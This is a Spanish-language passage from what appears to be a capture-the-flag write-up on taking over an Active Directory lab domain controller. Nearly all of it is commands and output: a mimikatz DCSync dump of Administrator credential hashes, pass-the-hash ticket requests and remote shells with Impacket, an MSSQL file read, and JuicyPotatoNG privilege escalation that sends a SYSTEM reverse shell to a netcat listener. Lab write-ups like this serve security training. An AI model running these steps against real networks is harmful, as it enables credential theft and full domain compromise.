PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt  
e69**************************e5e
PS C:\Windows\system32>

Solo como extra con mimikatz haremos un dcsync para dumpear los hashes del ntds, en este caso simplemente nos interesa el NT del usuario Administrator

PS C:\ProgramData> .\mimikatz.exe 'lsadump::dcsync /domain:scrm.local /user:Administrator' exit

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # lsadump::dcsync /domain:scrm.local /user:Administrator
[DC] 'scrm.local' will be the domain
[DC] 'DC1.scrm.local' will be the DC server
[DC] 'Administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : administrator
User Principal Name  : administrator@scrm.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00110200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD NOT_DELEGATED )
Account expiration   : 
Password last change : 08/11/2021 01:35:59
Object Security ID   : S-1-5-21-2743207045-1827831105-2542523200-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: e2bba07a8348bca150ac6ffee6a3afbb
    ntlm- 0: e2bba07a8348bca150ac6ffee6a3afbb
    ntlm- 1: 62739c0397a691744ac9a84ae537e6fe
    lm  - 0: a2a7473ec82a01b122044855a5877793

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 26b52cc4b9ce2de237d47360626de0e8

* Primary:Kerberos-Newer-Keys *
    Default Salt : SCRM.LOCALadministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 36e4dac77fe883a268dae5959a54128023e108aa07b89b8b73519422316e50a8  
      aes128_hmac       (4096) : 1eb10b3e4697f7d382b705a2b68712c3
      des_cbc_md5       (4096) : 5dc7897ccd51378a
    OldCredentials
      aes256_hmac       (4096) : 3df7e04eec2c97f6cda6cc9fc51bee443f5f0dfeb13fece15d0f8a8676ddd2bb
      aes128_hmac       (4096) : 7c4626b5e7c710b5ac3c9169f6520513
      des_cbc_md5       (4096) : 5d830d01d91fe325

* Primary:Kerberos *
    Default Salt : SCRM.LOCALadministrator
    Credentials
      des_cbc_md5       : 5dc7897ccd51378a
    OldCredentials
      des_cbc_md5       : 5d830d01d91fe325

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  5fb3e8ea8ae045dafd90a60d67ebeeaf
    02  f4768cf35890e2d59e23fac7593ef084
    03  e59facc069ebc457a05feca47f98eb0b
    04  5fb3e8ea8ae045dafd90a60d67ebeeaf
    05  f4768cf35890e2d59e23fac7593ef084
    06  b535495b020bfcb9950bd5616d34cfe5
    07  5fb3e8ea8ae045dafd90a60d67ebeeaf
    08  a6efbd3a90af39653b37619a6eb16852
    09  a6efbd3a90af39653b37619a6eb16852
    10  829b62e6e32fa4e321b6ebe46748cb8d
    11  1f60d009a37571cd6d6ac2b071b52e02
    12  a6efbd3a90af39653b37619a6eb16852
    13  ce72f4e36a9ead63ed7a7a16309e2987
    14  1f60d009a37571cd6d6ac2b071b52e02
    15  9656d4e6bdaab449878da6023cddf593
    16  9656d4e6bdaab449878da6023cddf593
    17  534642e76ba4df972a9530abe7cdc360
    18  e0b7df683a3c6ac0e910060d793b19d2
    19  3e69fc3d8ee2465df2a06c25a5524ebd
    20  ada2203946d1d6cbfe0482b70d448660
    21  3b641ff45450f40ab16a2582079cc3de
    22  3b641ff45450f40ab16a2582079cc3de
    23  918e4affba8a45ab0a60d9a385e834ad
    24  7d6325dbeb7ff7d17b070e1170a381d4
    25  7d6325dbeb7ff7d17b070e1170a381d4
    26  33a605a4246ba556a187b24cfc20bd1f
    27  42735b5148aea44d4ac6f47b3f3677eb
    28  0a238d2030221455a341d549eb227c4a
    29  9e8ca432a4ec8eca5223f3aa0a43d58c


mimikatz(commandline) # exit
Bye!
PS C:\ProgramData>

Autenticandonos con ese hash NT podemos solicitar un ticket con getST para el usuario Administrador, despues lo exportamos a la variable KRB5CCNAME

❯ impacket-getST -spn cifs/dc1.scrm.local scrm.local/Administrator@dc1.scrm.local -hashes :e2bba07a8348bca150ac6ffee6a3afbb -dc-ip dc1.scrm.local  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in Administrator@dc1.scrm.local.ccache

❯ export KRB5CCNAME=Administrator@dc1.scrm.local.ccache

Utilizando el ticket ccache para autenticarnos por kerberos podemos obbtener una shell en el DC omo Administrator con psexec o wmiexec, leemos la flag

❯ impacket-wmiexec scrm.local/Administrator@dc1.scrm.local -k -no-pass -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
scrm\administrator
PS C:\> type C:\Users\Administrator\Desktop\root.txt
e69**************************e5e
PS C:\>


Extra - Administrator


Una via no intencionada es desde mssql utilizar bulkcolumn para leer archivos, este lo hace bajo los privilegios de Administrator y nos permite leer la root.txt

SQL> select bulkcolumn from openrowset(bulk 'C:\Users\Administrator\Desktop\root.txt', single_clob) flag  

bulkcolumn
---------------------------------------
b'e69**************************e5e\r\n'

SQL>

Mirando los privilegios desde la shell del usuario sqlsvc podemos ver que tiene el privilegio SeImpersonatePrivilege que nos permite suplantar a un usuario

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========  
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

PS C:\Windows\system32>

Podemos simplemente usar JuicyPotatoNG para ejecutar el archivo shell.exe que subimos antes el cual nos enviara una powershell como nt authority\system

PS C:\ProgramData> .\JuicyPotatoNG.exe -t * -p shell.exe

         JuicyPotatoNG
         by decoder_it & splinter_code

[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247
[+] authresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation  
[+] CreateProcessAsUser OK
[+] Exploit successful!

PS C:\ProgramData>

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.168
Windows PowerShell running as user DC1$ on DC1
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\> whoami
nt authority\system
PS C:\> type C:\Users\Administrator\Desktop\root.txt
e69**************************e5e
PS C:\>